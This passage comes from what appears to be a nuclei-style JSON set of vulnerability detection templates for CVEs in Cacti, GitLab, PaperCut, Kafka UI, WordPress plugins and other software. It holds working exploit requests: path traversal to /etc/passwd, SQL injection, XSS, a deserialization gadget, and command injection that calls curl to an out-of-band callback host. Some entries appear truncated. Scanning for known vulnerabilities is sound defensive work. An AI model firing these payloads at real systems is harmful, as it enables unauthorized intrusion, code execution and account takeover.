Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wlmdeu%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd%00index.htm"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0"]},{"type":"word","part":"server","words":["KM-MFP"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-30534","info":{"name":"Cacti < 1.2.25 Insecure Deserialization","severity":"medium"},"requests":[{"raw":["GET /index.php HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n__csrf_magic={{url_encode(csrf_token)}}&action=login&login_username={{username}}&login_password={{password}}\n","POST /managers.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=actions&action_receiver_notifications=1&selected_items=a%3A2%3A%7Bi%3A7%3Ba%3A1%3A%7Bi%3A0%3BO%3A18%3A%22phpseclib%5CNet%5CSSH1%22%3A2%3A%7Bs%3A6%3A%22bitmap%22%3Bi%3A1%3Bs%3A6%3A%22crypto%22%3BO%3A19%3A%22phpseclib%5CCrypt%5CAES%22%3A8%3A%7Bs%3A10%3A%22block_size%22%3BN%3Bs%3A12%3A%22inline_crypt%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22phpseclib%5CCrypt%5CTripleDES%22%3A6%3A%7Bs%3A10%3A%22block_size%22%3Bs%3A30%3A%221%29%7B%7D%7D%7D%3B+ob_clean%28%29%3Blsdie%28%29%3B+%3F%3E%22%3Bs%3A12%3A%22inline_crypt%22%3BN%3Bs%3A16%3A%22use_inline_crypt%22%3Bi%3A1%3Bs%3A7%3A%22changed%22%3Bi%3A0%3Bs%3A6%3A%22engine%22%3Bi%3A1%3Bs%3A4%3A%22mode%22%3Bi%3A1%3B%7Di%3A1%3Bs%3A26%3A%22_createInlineCryptFunction%22%3B%7Ds%3A16%3A%22use_inline_crypt%22%3Bi%3A1%3Bs%3A7%3A%22changed%22%3Bi%3A0%3Bs%3A6%3A%22engine%22%3Bi%3A1%3Bs%3A4%3A%22mode%22%3Bi%3A1%3Bs%3A6%3A%22bitmap%22%3Bi%3A1%3Bs%3A6%3A%22crypto%22%3Bi%3A1%3B%7D%7D%7Di%3A7%3Bi%3A7%3B%7D&drp_action=2&__csrf_magic={{url_encode(csrf_token)}}\n","GET /clog.php HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"regex","part":"body_4","regex":["\\s*(
    [\\s\\S]*unserialize[\\s\\S]*managers.php[\\s\\S]*[Aa]uthenticated)"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"csrf_token","part":"body","group":1,"regex":["var csrfMagicToken = ['\"]([a-z0-9,:;]*)['\"]"],"internal":true}]}]},{"id":"CVE-2023-23161","info":{"name":"Art Gallery Management System Project v1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/product.php?cid=1&&artname=%3Cimg%20src=1%20onerror=alert(document.domain)%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["center\">
    ","Art Type"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-6114","info":{"name":"Duplicator < 1.5.7.1; Duplicator Pro < 4.5.14.2 - Unauthenticated Sensitive Data Exposure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/backups-dup-lite/tmp/","{{BaseURL}}/wp-content/backups-dup-pro/tmp/"],"stop-at-first-match":true,"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(body, '/tmp') && contains(body, 'Index of')"],"condition":"and"}]}]},{"id":"CVE-2023-43326","info":{"name":"MooSocial 3.1.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/users/change_emailahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3eahrixia?step1=1"],"matchers":[{"type":"dsl","dsl":["status_code == 404","contains(content_type, \"text/html\")","contains_all(body, \"<img src=a onerror=alert(document.domain)>\", \"mooSocial\")"],"condition":"and"}]}]},{"id":"CVE-2023-22480","info":{"name":"KubeOperator Foreground `kubeconfig` - File Download","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/v1/clusters/kubeconfig/k8s"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["apiVersion:","clusters:"],"condition":"and"},{"type":"word","part":"header","words":["application/download"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-3578","info":{"name":"DedeCMS 5.7.109 - Server-Side Request Forgery","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"max-redirects":2,"matchers":[{"type":"word","part":"response","words":["DedeCms"],"case-insensitive":true}]},{"raw":["GET /co_do.php?rssurl=https://{{interactsh-url}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["dns","http"]}]}]},{"id":"CVE-2023-1408","info":{"name":"Video List Manager <= 1.7 - SQL Injection","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","@timeout: 15s\nGET /wp-admin/admin.php?page=tnt_video_edit_page&videoID=SLEEP(7) HTTP/1.1\nHost: {{Hostname}}\n"],"redirects":true,"matchers":[{"type":"dsl","dsl":["duration_2>=7","status_code_2 == 200","contains_all(body_2, \"Edit Video\",\"Youtube</option>\")"],"condition":"and"}]}]},{"id":"CVE-2023-20888","info":{"name":"VMware Aria Operations for Networks - Remote Code Execution","severity":"high"},"requests":[{"raw":["POST /api/auth/login HTTP/2\nHost: {{Hostname}}\nContent-Type: application/json;charset=UTF-8\nX-Vrni-Csrf-Token: null\n\n{\"username\":\"{{username}}\",\"password\":\"{{password}}\",\"domain\":\"localdomain\"}\n","POST /api/events/push-notifications HTTP/2\nHost: {{Hostname}}\nX-Vrni-Csrf-Token: {{csrf}}\nContent-Type: application/json\n\n{\"endOffset\": \"{{ generate_java_gadget(\"dns\", \"http://{{interactsh-url}}\", \"base64\") }} \"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"status","status":[500]}],"extractors":[{"type":"regex","name":"csrf","group":1,"regex":["csrfToken\":\"([a-z0-9A-Z/+=]+)\""],"internal":true,"part":"body"}]}]},{"id":"CVE-2023-1730","info":{"name":"SupportCandy < 3.1.5 - Unauthenticated SQL Injection","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\nCookie: wpsc_guest_login_auth={\"email\":\"' AND (SELECT 42 FROM (SELECT(SLEEP(6)))NNTu)-- cLmu\"}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(body, \"supportcandy\")"],"condition":"and"}]}]},{"id":"CVE-2023-39650","info":{"name":"PrestaShop Theme Volty CMS Blog - SQL Injection","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains_any(tolower(response), \"prestashop\", \"tvcmsblog\")"],"internal":true}]},{"raw":["@timeout: 20s\nGET /module/tvcmsblog/single?SubmitCurrency=1&id=14&id_currency=2&page_type=post\"+AND+(SELECT+7826+FROM+(SELECT(SLEEP(8)))oqFL)--+yxoW HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\n","@timeout: 20s\nGET /module/tvcmsblog/single?SubmitCurrency=1&id=14&id_currency=2&page_type=post\"+AND+5484=5484--+xhCs HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\n","@timeout: 20s\nGET /module/tvcmsblog/single?SubmitCurrency=1&id=14&id_currency=2&page_type=post\"+AND+5484=5485--+xhCs HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\n"],"host-redirects":true,"matchers":[{"type":"dsl","name":"time-based","dsl":["duration_1>=8","status_code_1 == 200 && contains(body_1, \"tvcmsblog\")"],"condition":"and"},{"type":"dsl","name":"blind-based","dsl":["status_code_2 == 200 && contains(body_2, \"tvcmsblog\")","status_code_2 == 200 && status_code_3 == 302"],"condition":"and"}]}]},{"id":"CVE-2023-2059","info":{"name":"DedeCMS 5.7.87 - Directory Traversal","severity":"medium"},"requests":[{"raw":["GET /include/dialog/select_templets.php?f=form1.templetactivepath=%2ftemplets/../..\\..\\..\\ HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["dirname(__FILE__)","$cfg_basedir","dedecms"],"condition":"and","case-insensitive":true},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-31446","info":{"name":"Cassia Gateway Firmware - Remote Code Execution","severity":"critical"},"requests":[{"raw":["@timeout: 20s\nGET /bypass/config?type=sqs&keyId=test&key=security&queueUrl=http://{{interactsh-url}}/ HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"regex","regex":["^OK$"]}]}]},{"id":"CVE-2023-4168","info":{"name":"Adlisting Classified Ads 2.14.0 - Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/ad-list-search?keyword=&lat=&long=&long=&lat=&location=&category=&keyword="],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(content_type, \"text/html\")","contains_all(body, \"google_map_key\", \"api_key\", \"auth_domain\")"],"condition":"and"}]}]},{"id":"CVE-2023-35158","info":{"name":"XWiki - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/xwiki/bin/view/XWiki/Main?xpage=restore&showBatch=true&xredirect=javascript:alert(document.domain)"],"matchers":[{"type":"dsl","dsl":["contains(body, \"href=\\\"javascript:alert(document.domain)\\\">Cancel</a>\")","contains(header, \"text/html\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2023-52251","info":{"name":"Kafka UI 0.7.1 Command Injection","severity":"high"},"requests":[{"raw":["GET /api/clusters HTTP/1.1\nHost: {{Hostname}}\n"],"extractors":[{"type":"json","name":"cluster-name","internal":true,"json":[".[0].name"]}]},{"raw":["GET /api/clusters/{{cluster-name}}/topics?page=1&perPage=25&showInternal=true HTTP/1.1\nHost: {{Hostname}}\n"],"extractors":[{"type":"json","name":"topic-name","internal":true,"json":[".topics[].name"]}]},{"raw":["@timeout 20s\nGET /api/clusters/{{cluster-name}}/topics/{{topic-name}}/messages?q=new+ProcessBuilder%28%22curl%22%2C%22{{interactsh-url}}%22%29.start%28%29&filterQueryType=GROOVY_SCRIPT&attempt=7&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"body","words":["Assigning partitions"]}]}]},{"id":"CVE-2023-1835","info":{"name":"Ninja Forms < 3.6.22 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=nf-processing&title=%253Csvg%252Fonload%253Dalert%2528document.domain%2529%253E HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"<svg/onload=alert(document.domain)>\")","contains(body_2, \"Ninja Forms\")"],"condition":"and"}]}]},{"id":"CVE-2023-40751","info":{"name":"PHPJabbers Fundraising Script v1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"POST","path":["{{BaseURL}}/index.php?controller=pjAdmin&action=%3Cimg+src%3Dx+onerror%3Dprompt%28document.domain%29%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<img src=x onerror=prompt(document.domain)>","didn't exists"],"condition":"and"},{"type":"word","part":"content_type","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-3380","info":{"name":"WAVLINK WN579X3 - Remote Command Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}"],"matchers":[{"type":"word","words":["images/WAVLINK-logo.png","<title>Wi-Fi APP Login"],"condition":"and","internal":true}]},{"raw":["POST /cgi-bin/adm.cgi HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nReferer: {{RootURL}}/ping.shtml\n\npage=ping_test&CCMD=4&pingIp=255.255.255.255%3Bcurl+http%3A%2F%2F{{interactsh-url}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-7028","info":{"name":"GitLab - Account Takeover via Password Reset","severity":"high"},"requests":[{"raw":["GET /users/sign_in HTTP/1.1\nHost: {{Hostname}}\n"],"extractors":[{"type":"regex","name":"token","group":1,"regex":["name=\"authenticity_token\" value=\"([A-Za-z0-9_-]+)\""],"internal":true}]},{"raw":["@timeout: 20s\nPOST /users/password HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nReferer: {{RootURL}}/users/password/new\n\nauthenticity_token={{token}}&user[email][]={{username}}&user[email][]={{rand_base(6)}}@{{interactsh-url}}\n"],"payloads":{"username":["admin@example.com","admin@{{RDN}}","root@{{RDN}}","gitlab@{{RDN}}","git@{{RDN}}"]},"matchers":[{"type":"dsl","dsl":["contains(interactsh_protocol, 'smtp')"]}],"extractors":[{"type":"dsl","dsl":["username"]}]}]},{"id":"CVE-2023-34659","info":{"name":"JeecgBoot 3.5.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /jeecg-boot/jmreport/show HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json;charset=UTF-8\n\n{\"id\":\"961455b47c0b86dc961e90b5893bff05\",\"apiUrl\":\"\",\"params\":\"{\"id\":\"1' or '%1%' like (updatexml(0x3a,concat(1,(version())),1)) or '%%' like '\"}\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["XPATH syntax error:","SQLException"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-29084","info":{"name":"ManageEngine ADManager Plus - Command Injection","severity":"high"},"requests":[{"raw":["POST /j_security_check HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nReferer: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nis_admp_pass_encrypted=false&j_username={{username}}&j_password={{password}}&domainName=ADManager+Plus+Authentication&AUTHRULE_NAME=ADAuthenticator\n","GET /home.do HTTP/1.1\nHost: {{Hostname}}\n","POST /api/json/admin/saveServerSettings HTTP/1.1\nHost: {{Hostname}}\nX-Requested-With: XMLHttpRequest\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nOrigin: {{BaseURL}}\nReferer: {{BaseURL}}\n\nparams=[{\"tabId\":\"proxy\",\"ENABLE_PROXY\":true,\"SERVER_NAME\":\"1.1.1.1\",\"USER_NAME\":\"random\",\"PASSWORD\":\"asd\\r\\n{{cmd}}\",\"PORT\":\"80\"}]&admpcsrf={{admpcsrf}}\n"],"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{\"message\":\"","Proxy Settings"],"condition":"and"},{"type":"word","part":"interactsh_protocol","words":["dns"]}],"extractors":[{"type":"kval","name":"admpcsrf","internal":true,"kval":["admpcsrf"],"part":"header"}]}]},{"id":"CVE-2023-38964","info":{"name":"Academy LMS 6.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/home/courses?query=\">"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["status_code == 200","contains(header, \"text/html\")","contains_all(body, \"\", \"All courses\")"],"condition":"and"}]}]},{"id":"CVE-2023-37629","info":{"name":"Online Piggery Management System v1.0 - Unauthenticated File Upload","severity":"critical"},"requests":[{"raw":["POST /pig/add-pig.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=---------------------------WebKitFormBoundary20kgW2hEKYaeF5iP\n\n-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP\nContent-Disposition: form-data; name=\"pigno\"\n\npig-fms-100\n-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP\nContent-Disposition: form-data; name=\"weight\"\n\n65465\n-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP\nContent-Disposition: form-data; name=\"arrived\"\n\n{{date_time(\"%Y-%M-%D\")}}\n-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP\nContent-Disposition: form-data; name=\"gender\"\n\nfemale\n-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP\nContent-Disposition: form-data; name=\"status\"\n\nactive\n-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP\nContent-Disposition: form-data; name=\"breed\"\n\n2\n-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP\nContent-Disposition: form-data; name=\"remark\"\n\n4fwefwe\n-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP\nContent-Disposition: form-data; name=\"pigphoto\"; filename=\"{{rand_base(5)}}\".php\"\nContent-Type: application/x-php\n\n\n\n-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP\nContent-Disposition: form-data; name=\"submit\"\n\n\n-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP--\n"],"matchers":[{"type":"dsl","dsl":["status_code == 302","contains(content_type, \"text/html\")","contains(body, \"successfully created\")"],"condition":"and"}]}]},{"id":"CVE-2023-5222","info":{"name":"Viessmann Vitogate 300 - Hardcoded Password","severity":"critical"},"requests":[{"raw":["POST /cgi-bin/vitogate.cgi HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"method\":\"put\",\"form\":\"form-login\",\"params\":{\"uid\":\"{{username}}\",\"pwd\":\"{{password}}\"}}\n"],"attack":"pitchfork","payloads":{"username":["vitomaster","vitogate"],"password":["viessmann1917","viessmann"]},"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["admin\":true","\"sessionId\":"],"condition":"and"},{"type":"word","part":"content_type","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-0630","info":{"name":"Slimstat Analytics < 4.9.3.3 Subscriber - SQL Injection","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","@timeout: 20s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=parse-media-shortcode&shortcode=[slimstat f=\"count\" w=\"author\"]WHERE:1 UNION SELECT sleep(7)-- a[/slimstat]\n"],"matchers":[{"type":"dsl","dsl":["duration_2>=7","status_code_2 == 200","contains(content_type_2, \"application/json\")","contains(body_2, \"audioShortcodeLibrary\")"],"condition":"and"}]}]},{"id":"CVE-2023-40779","info":{"name":"IceWarp Mail Server Deep Castle 2 v.13.0.1.2 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/%5coast.pro/%2f%2e%2e"],"matchers-condition":"and","matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\-_\\.@]*)oast\\.pro.*$"]},{"type":"status","status":[302]}]}]},{"id":"CVE-2023-33439","info":{"name":"Faculty Evaluation System v1.0 - SQL Injection","severity":"high"},"requests":[{"raw":["POST /ajax.php?action=login HTTP/1.1\nHost:{{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nemail={{username}}&password={{password}}&login=1\n","GET /admin/manage_task.php?id=1%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)--+ HTTP/1.1\nHost:{{Hostname}}\n"],"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(body, \"Fatal error:\")","contains(body, \"XPATH syntax error:\")"],"condition":"and"}]}]},{"id":"CVE-2023-34537","info":{"name":"Hoteldruid 3.0.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /inizio.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nvers_hinc=1&nome_utente_phpr={{username}}&password_phpr={{password}}\n","POST /creaprezzi.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nanno=2023&id_sessione=&tipotariffa=a19yc%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3emjf9oc2183m&inizioperiodosett1=2023-12-24&fineperiodosett1=2023-12-31&tipo_prezzo=sett&prezzosett=&prezzosettp=&prezzoperiodo1=&prezzoperiodo1p=&prezzoperiodo2=&prezzoperiodo2p=&prezzoperiodo3=&prezzoperiodo3p=&prezzoperiodo4=&prezzoperiodo4p=&prezzoperiodo5=&prezzoperiodo5p=&prezzoperiodo6=&prezzoperiodo6p=&prezzoperiodo7=&prezzoperiodo7p=&inserisci_settimanalmente=1\n"],"skip-variables-check":true,"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"\")","contains(body_2, \"HotelDruid\")"],"condition":"and"}]}]},{"id":"CVE-2023-27350","info":{"name":"PaperCut - Unauthenticated Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /app?service=page/SetupCompleted HTTP/1.1\nHost: {{Hostname}}\n","POST /app HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nservice=direct%2F1%2FSetupCompleted%2F%24Form&sp=S0&Form0=%24Hidden%2CanalyticsEnabled%2C%24Submit&%24Hidden=true&%24Submit=Login\n","POST /app HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nservice=direct%2F1%2FConfigEditor%2FquickFindForm&sp=S0&Form0=%24TextField%2CdoQuickFind%2Cclear&%24TextField=print-and-device.script.enabled&doQuickFind=Go\n","POST /app HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nservice=direct%2F1%2FConfigEditor%2F%24Form&sp=S1&Form1=%24TextField%240%2C%24Submit%2C%24Submit%240&%24TextField%240=Y&%24Submit=Update\n","POST /app HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nservice=direct%2F1%2FConfigEditor%2FquickFindForm&sp=S0&Form0=%24TextField%2CdoQuickFind%2Cclear&%24TextField=print.script.sandboxed&doQuickFind=Go\n","POST /app HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nservice=direct%2F1%2FConfigEditor%2F%24Form&sp=S1&Form1=%24TextField%240%2C%24Submit%2C%24Submit%240&%24TextField%240=N&%24Submit=Update\n","GET /app?service=page/PrinterList HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nservice=page%2FPrinterList\n","POST /app?service=direct/1/PrinterList/selectPrinter&sp={{printerID}} HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nservice=direct%2F1%2FPrinterList%2FselectPrinter&sp={{printerID}}\n","POST /app HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nservice=direct%2F1%2FPrinterDetails%2FprinterOptionsTab.tab&sp=4\n","POST /app HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nservice=direct%2F1%2FPrinterDetails%2F%24PrinterDetailsScript.%24Form&sp=S0&Form0=printerId%2CenablePrintScript%2CscriptBody%2C%24Submit%2C%24Submit%240%2C%24Submit%241&printerId={{printerID}}&enablePrintScript=on&scriptBody=function+printJobHook%28inputs%2C+actions%29+%7B%7D%0D%0Ajava.lang.Runtime.getRuntime%28%29.exec%28%27{{cmd}}%27%29%3B&%24Submit%241=Apply\n"],"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["Avanceret kontering"]}],"extractors":[{"type":"regex","name":"printerID","group":1,"regex":["erList\\/selectPrinterCost&sp=([a-z0-9]+)\">"],"internal":true,"part":"body"}]}]},{"id":"CVE-2023-2479","info":{"name":"Appium Desktop Server - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/?url="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["The requested resource could not be found, or a request was received using an HTTP method that is not supported by the mapped resource"]},{"type":"word","part":"header","words":["application/json"]},{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"status","status":[404]}]}]},{"id":"CVE-2023-40753","info":{"name":"PHPJabbers Ticket Support Script v3.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /index.php?controller=pjBase&action=pjActionLogin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlogin_user=1&login_email={{username}}&login_password={{password}}&login_captcha=\n","GET /notification_create=1&type=NewTicket&department_id%5B%5D=2&user_id%5B%5D=1&i18n%5B1%5D%5Bsubject%5D=a&i18n%5B1%5D%5Bmessage%5D=%3C%2Ftextarea%3E%3CscrIpt%3Ealert(document.domain)%3B%3C%2FscRipt%3E%3Ctextarea%3E HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["\")","contains(body_2, \"page_aajoda-testimonials\")"],"condition":"and"}]}]},{"id":"CVE-2023-2732","info":{"name":"MStore API <= 3.9.2 - Authentication Bypass","severity":"critical"},"requests":[{"raw":["GET /wp-json/wp/v2/add-listing?id=1 HTTP/2\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n","GET /wp-admin/profile.php HTTP/2\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["email-description","Username"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-32077","info":{"name":"Netmaker - Hardcoded DNS Secret Key","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/dns"],"headers":{"Authorization":"x secretkey"},"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(header, \"application/json\")","contains_all(body, \"{\\\"address\\\":\", \"\\\"network\\\":\", \"\\\"name\\\":\")"],"condition":"and"}]}]},{"id":"CVE-2023-22232","info":{"name":"Adobe Connect < 12.1.5 - Local File Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/system/download?download-url=/_a7/p49dm7f4qjyt/output/&name=exam.pdf"],"matchers-condition":"and","matchers":[{"type":"word","words":["Save to My Computer","exam.pdf","Click to Download"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2001-0537","info":{"name":"Cisco IOS HTTP Configuration - Authentication Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/level/16/exec/show/config/CR"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["service config","Switch","default-gateway"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000146","info":{"name":"WordPress Pondol Form to Mail <=1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}"],"matchers":[{"type":"word","internal":true,"words":["/wp-content/plugins/pondol-formmail/"]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/pondol-formmail/pages/admin-mail-info.php?itemid=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000130","info":{"name":"WordPress e-search <=1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/e-search/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Search","Tags:","Tested up to:"],"condition":"and"}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/e-search/tmpl/date_select.php?date-from=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-3081","info":{"name":"Apache S2-032 Struts - Remote Code Execution","severity":"high"},"requests":[{"raw":["GET 